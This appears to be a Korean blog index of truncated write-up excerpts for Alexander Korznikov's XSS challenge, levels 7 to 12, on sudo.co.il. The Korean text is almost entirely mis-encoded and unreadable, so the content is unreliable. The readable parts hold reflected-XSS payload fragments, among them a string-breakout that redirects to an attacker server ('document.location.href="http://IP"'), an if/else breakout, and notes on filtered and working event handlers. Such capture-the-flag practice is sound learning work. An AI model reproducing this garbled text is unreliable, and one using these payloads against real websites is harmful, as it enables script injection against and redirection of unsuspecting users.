12๋จ๊ณ๋ ๋ค์ ๋ค๋ฅธ ๋ชจ์ต์ ํ์ด์ง๋ก ํ์ธ๋ฉ๋๋ค. ์์ค์ฝ๋๋ฅผ ๋จผ์ ๋ณด๋ฉด์ ํด๊ฒฐํด๋๊ฐ ๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค. ์ด์ ๋จ๊ณ์์๋ ์๋ฐ์คํฌ๋ฆฝํธ์ ์ ์ธ๋ ๋ณ์๋ฅผ ํ์ฉํด์ ํ์ ์ฐฝ์ ๋์ ๋๋ผ๋ฉด ์ด์ ๋ ์ ํ๊ทธ์ ๋ถ์ฌ๋ ์ฃผ์๋ฅผ ํ์ฉํ์ฌ ํด๊ฒฐํด์ผ ๋๋ ๋ฌธ์ ์ธ ๊ฒ ๊ฐ์ต๋๋ค. src="" ์์ฑ์ ๋ถ์ฌ๋ untrusted ํ์ด์ง๋ก ์ด๋ํด๋ณด๊ฒ ์ต๋๋ค. untrusted.so.co.il ํ์ด์ง๋ ์ด์ ๋จ๊ณ์์ ๋ณด์ฌ์ก๋ ํ์ด์ง๋ค์ฒ๋ผ ๋ค์ ์ฌํํ ํ๋ฉด์ ๋์ฐ๊ณ ์์ต๋๋ค. ํด๋น ํ์ด์ง ์์ค์ฝ๋๋ฅผ ํ์ธํด ๋ณด๊ฒ ์ต๋๋ค. ์์์๋ถํฐ ํ์ธํด๋ณด์๋ฉด ๋ณ์ m์๋ 'Good Luck!' String ๋ฌธ์์ด์ด ์ ์ธ๋์ด ์์ผ๋ฉฐ. php? p=์ ์ ๋ ฅ๋ Payload๋ 12๋ฒ์งธ ์ค์ a ๋ณ์์ 'Payload'; ํํ๋ก ์ฝ์ ๋๊ณ ์์ต๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก " ';..
๋ ๋ฒจ 11๋จ๊ณ๋ฅผ ๋ณด์๋ฉด ๋น๊ต์ ์ฌํํ ํ์ด์ง ๊ตฌ์ฑ์ผ๋ก ๋์ด ์์ต๋๋ค. ์ฐ์ ์์ค์ฝ๋ ๋จผ์ ๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค. ์ด๋ฒ์๋ ๋ค์ ๋ณต์กํ ์ฝ๋๋ค๋ก ๊ตฌ์ฑ๋์ด ์์ต๋๋ค. .php?p=์ ์ ๋ ฅ๋ Payload๋ "a"๋ผ๋ ๋ณ์์ ๋ด๊ธฐ๊ฒ ๋ฉ๋๋ค. 11๋จ๊ณ์์๋ถํฐ๋ ์คํ ๊ฐ๋ฅํ ์ ๋ ฅ ๊ฐ ์ด์ธ์๋ ๋ชจ๋ ์์ธ์ฒ๋ฆฌ๋ฅผ ์งํํ๊ณ ์์ด ๋ณ๋์ ๋ธ๋ก ํ๋ฉด์ด ๋ํ๋๊ฒ ๋ฉ๋๋ค. ์ด๋ฌธ์ ๋ฅผ ํธ์ ๋ถ๋ค์ ์ "Hacking attempt" ํ๋ฉด์ ์์ญ ๋ฒ ๋ดค์ ๊ฒ์ด๋ผ ์๊ฐํฉ๋๋ค... ์ ๋ ํด๊ฒฐํ๊ธฐ ์ํด ์ฌ๋ฌ ๊ธฐ๋ฒ๋ค์ Bofore After๋ฅผ ๋ถ์ํ๋๋ฐ ๋์ ํฌ ์คํ๊ฐ๋ฅํ ๊ตฌ๋ฌธ์ ๋ชป ์ฐพ์์ต๋๋ค.. ํํธ๋ผ๊ณ ๋ ์กด์ฌํ์ง ์๋ ์ฑ๋ฆฐ์ง๊ธฐ ๋๋ฌธ์ ํ์ฐธ์ ํค๋งค๋ค๊ฐ security.stackexchange.com์์ ์ฐ์ฐํ ํด๊ฒฐ๋ฒ์ ํ์ธํ์ต๋๋ค. ๊ฒฐ๋ก ์ ์ผ๋ก ..
level 10๋จ๊ณ๋ฅผ ์งํํ๊ฒ ์ต๋๋ค. ํ๋ฉด์ ๋ณด์ด๋ ํ๋ฉด์ ์ด์ ๊ณผ ์ ์ฌํ ๋ชจ์ต์ ๋์ฐ๊ณ ์์ต๋๋ค. ๋ด๋ถ ์ฝ๋๋ฅผ ๋จผ์ ์ดํด๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค. 10๋จ๊ณ์์๋ a์ b๋ผ๋ ๋ณ์์ ๊ฐ์ด ์ ์ธ๋์ด ์๋ ์ํ์ ๋๋ค. ์ฐ๋ฆฌ๊ฐ ์ ๋ ฅํ Payload๋ "a" ๋ณ์์ ๋ด๊ธฐ๋๋ก ๋์ด์๋๋ฐ document.write ์์ฑ์ ํตํด ๊ฐ์ด ์คํ๋๋ ๊ฒ์ ๋ณด์ค ์ ์์ต๋๋ค. document.write()์ ๊ธฐ๋ฅ์ Document Object์ ํจ์๋ก ์ธ์ ๊ฐ์ ์น ๋ธ๋ฌ์ฐ์ ํ๋ฉด์ ํ ์คํธ ํ์์ผ๋ก ์ถ๋ ฅํด์ฃผ๋ ๊ธฐ๋ฅ์ ๊ฐ์ง๊ณ ์์ต๋๋ค. ';{document.location.href="http://IP"}// 9๋จ๊ณ์์ ์งํํ ๋ฐฉ๋ฒ๋๋ก a๋ณ์๋ฅผ ๋ซ์ ๋ง๋ฌด๋ฆฌ(;)ํด์ฃผ๊ณ ๊ณต๊ฒฉ์ ์๋ฒ๋ฅผ ๋ก๋์์ผ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๋๋ก ํด์ฃผ๋ฉด ๋ ๊ฒ ๊ฐ์ต๋๋ค. ๋ค..
ํ๋์ ์ฌ๋ฆฌ์ง ๋ชปํ๋ XSS ์ฑ๋ฆฐ์ง๋ฅผ ์ค๋๋ง์ ๋ค์ ํ๊ฒ ๋์์ต๋๋ค. ์ ๊ฐ ์ฌ๋ฏธ์๊ฒ ํ๊ณ ์๋ Alexander Korznikov์ XSS ์ฑ๋ฆฐ์ง์ ์ฅ์ ์ ๊ธฐ์กด์ XSS ๊ฒ์๊ณผ๋ ๋ค๋ฅด๊ฒ ํํ ๋ฒ์ ์ฌ๋ฆฐ ์ฌ๋๋ค์ด ๋ง์ด ์์ผ๋ฉฐ(๊ตญ๋ด์์๋ ๋ณธ ์ ์ด ์๋ค์..) ์ถ์ ์์ ์๋๋ฅผ ์์์ ํ์ ํ๊ณ ์ผ๋ง์ ํํธ ์์ด ๊ณต๋ต ํ๋ค๋ ์ ์์ ๋์ฑ ์ ์ฐฉ์ด ๊ฐ๊ณ ๋ชฐ์ ์ด ๋๋ ๊ฑฐ ๊ฐ์ต๋๋ค. ๊ณต๋ต ํ์ด์ง๋ ๊ต์ฅํ ์ฌํํฉ๋๋ค. Reflected ๋ฐฉ์์ผ๋ก ํ๋ผ๋ฏธํฐ์ ์ ์ ํ Payload๊ฐ ์ฝ์ ๋ ๊ฒฝ์ฐ ๋ค์ด์ผ๋ก๊ทธ ํ์ ์ฐฝ์ ๋์ฐ์ค ์ ์์ต๋๋ค. ์ด์ ๋จ๊ณ(8-1) ์ ์์ค์ ์ ์ฌํ ํํ์ ์ฝ๋๋ฅผ ๊ฐ์ง๊ณ ์์ต๋๋ค. b๋ผ๋ ๋ณ์์๋ "1"์ด ์ ์ธ๋์ด ์๊ณ if ์กฐ๊ฑด๋ฌธ์ ํตํด ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋ ์ ์๋๋ก ๊ตฌ๋ฌธ์ ์์ฑ์์ผ์ผ ๋ฉ๋๋ค. b์ ๋ณ์..
์กฐ๊ฑด๋ฌธ์ด ์ฌ์ฉ๋ 8 Level์ ์ด์ด์ 8-1 Level๊น์ง ํ๋ฒ ํ์ด๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค. ๋ง์ฐฌ๊ฐ์ง๋ก ๋งํฌ ํ๊ทธ๋ ์ ๋ ฅ์ ๋ฐ๋ ํผ์ด ๋ฐ๋ก ์กด์ฌํ์ง ์์ผ๋ฉฐ URL ํ๋ผ๋ฏธํฐ์ ์ ๋นํ ๋ฌธ์์ด์ ์ฝ์ ํ๋๋ก ํ๊ณ ์์ต๋๋ค. ํ์ด์ง ์์ค๋ฅผ ๋ณด์๋ฉด 8 Level ์์ค์ ์ ์ฌํด ๋ณด์ด์ง๋ง ์กฐ๊ธ ๋ค๋ฅธ ํํ๋ฅผ ๊ฐ์ง๊ณ ์์ต๋๋ค. ์คํฌ๋ฆฝํธ์ฝ๋๋ ๋ง์ฐฌ๊ฐ์ง๋ก ์คํ๋์ง ์๊ณ ์์ผ๋ฉฐ ์ด์ ๋ ๋ฐ๋ก "์ค ๋ฐ๊ฟ"์ ์์ต๋๋ค. ์ด 2๊ณณ์ ์ค๋ฐ๊ฟ ์ฒ๋ฆฌ๊ฐ ๋์ด ์์ต๋๋ค. if ( b == 2 ){a = "Your_Payload"} ๋นจ๊ฐ์์ผ๋ก ์ฒ๋ฆฌ๋ ๋ถ๋ถ์์ค ๋ฐ๊ฟ์ผ๋ก ์ธํด ์ ๋ ฅ๋ ๋ฌธ์์ด์ด ์ค๋ฅ๊ฐ ๋ฐ์ํ๊ณ ์์ต๋๋ค. ๋ง์ง๋ง ๋ฌธ๋จ๋ผ์ธ์ " } " ๋ซํ์ ์ ๋ง๊ฒ ๋ฌธ์์ด ์กฐ์ ์ ํ๋ฉด ๋๊ฒ ์ง๋ง ์ฒซ ๋ฒ์งธ " { " ์ค ๋ฐ๋์ผ๋ก ์ธํด else ์กฐ๊ฑด๋ฌธ์ด ์ ๋๋ก..
์ ๋จ ๊ณ์๋ ๋ค๋ฅธ ๊ฒ ๋งํฌ ํ๊ทธ ๊ธฐ๋ฅ์ด ์ฌ์ฉ๋๊ณ ์์ง ์์ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค. ํ์ด์ง ์์ค๋ฅผ ๋ณด๋ฉด์ ํ๋ฒ ํ์ธํด๋ณด๊ฒ ์ต๋๋ค. ์ ๋จ๊ณ์์ ์ฌ์ฉํ ์ฝ๋๋ฅผ ์ฝ์ ํด๋ณธ๊ฒฐ๊ณผ ๊ธฐ๋ณธ์ ์ธ ์ฝ์ ํํ๊ฐ ์๋ ๋ ผ๋ฆฌ ์ฐ์ฐ์๊ฐ ์ฌ์ฉ๋๊ณ ์์ต๋๋ค. ๊ณ ์ ์์ค๋ก .. .. www.sudo.co.il/xss/level8.php?p=" }else{ " a์ ๋ณ์์ "(๋๋ธ ์ฟผํฐ)๋ฅผ ํ๋๋ง ๋ฃ์ด a = "" ๋ณ์๋ฅผ ๋ง๋ฌด๋ฆฌํด์ฃผ๊ณ " } "๋ฅผ ํตํด ๋ซ์์ฃผ๋ฉด ์ฐธ์ผ ๊ฒฝ์ฐ์ ์ฝ๋ ์์ญ์ ๋์ด ๋๊ฒ ๋ฉ๋๋ค. if์กฐ๊ฑด๋ฌธ์ ๊ฒฝ์ฐ else(๊ฑฐ์ง) ๋๋ FALSE ๋ ํจ๊ป ์ถ๊ฐํด์ฃผ๋ฉด b ≠ 2 ์ฆ b ๊ฐ 2์ ๊ฐ์ง ์์ ๋์ ๋ฌธ์ฅ์ ์ฝ์ด ๋ค์ด๊ฒ ๋ฉ๋๋ค.(b = 1 ์ด ๊ณ ์ ) ์ด์ ๊ธฐ๋ฐ์ ๋ค์ ธ ๋จ์ผ๋ ํ์ ์ฐฝ์ ์คํํ๊ธฐ๋ง ํ๋ฉด ๋ฉ๋๋ค. ํ์ง๋ง ์์์..
ํด๋น ๋ฌธ์ ์ ๊ฒฝ์ฐ hohoho๋ผ๋ ๋ฌธ์์ด์ ์ง์ ํด๋๊ณ ํด๋ฆญ ์ ๋งํฌ ํ๊ทธ( http://localhost/?๋ก ๋์ด๊ฐ๋๋ก ๋ก์ง์ด ๊ตฌ์ฑ๋์ด ์์ต๋๋ค. ํด๋น ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํด์ Your_Payload ์์ญ์ ํ์ ์ฐฝ์ ๋์ธ ์ ์๋ ๋ฌธ์์ด์ ์ฝ์ ํด์ผ ๋ฉ๋๋ค. .. .. hohoho!!! .. .. ๋ช ๋ฒ์ ์๋๋ฅผ ํด๋ณด๋ฉด์ ํํฐ๋งํ๊ณ ์๋ ํจํด์ ๋จผ์ ํ์ธํด์ผ ๋ฉ๋๋ค. ์๋ฐ์คํฌ๋ฆฝํธ ์ด๋ฒคํธ ํธ๋ค๋ฌ์ธ "onmouseover"์ ๊ฒฝ์ฐ ๊ฐ ์ฝ์ ๋์ด์ ์ฌ์ฉ์ ๊ธ์ง์ํค๊ณ ์์ต๋๋ค. ๋ํ ํ๊ทธ๊ฐ ์ฝ์ ์ --> ์ ๊ฑฐ๋ฅผ ํ๊ณ ์์ด์ ์๋ฌด๋๋ localhost ๋ฌธ์์ด์ ์ด์ด์ ์์ฑํด์ผ ๋ ๊ฒ ๊ฐ์ต๋๋ค. *(ํด๋ก์ง) ๋ฑ์ ํตํด ๋ฌธ์ฅ์ ๋ง๋ฌด๋ฆฌ๋ง ์ํด์ฃผ๋ฉด ์๋ฐ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๋๋ฐ ๋ฌธ์ ๊ฐ ๋ฐ์ํ์ง ์์ต๋๋ค. * onfocus : ์..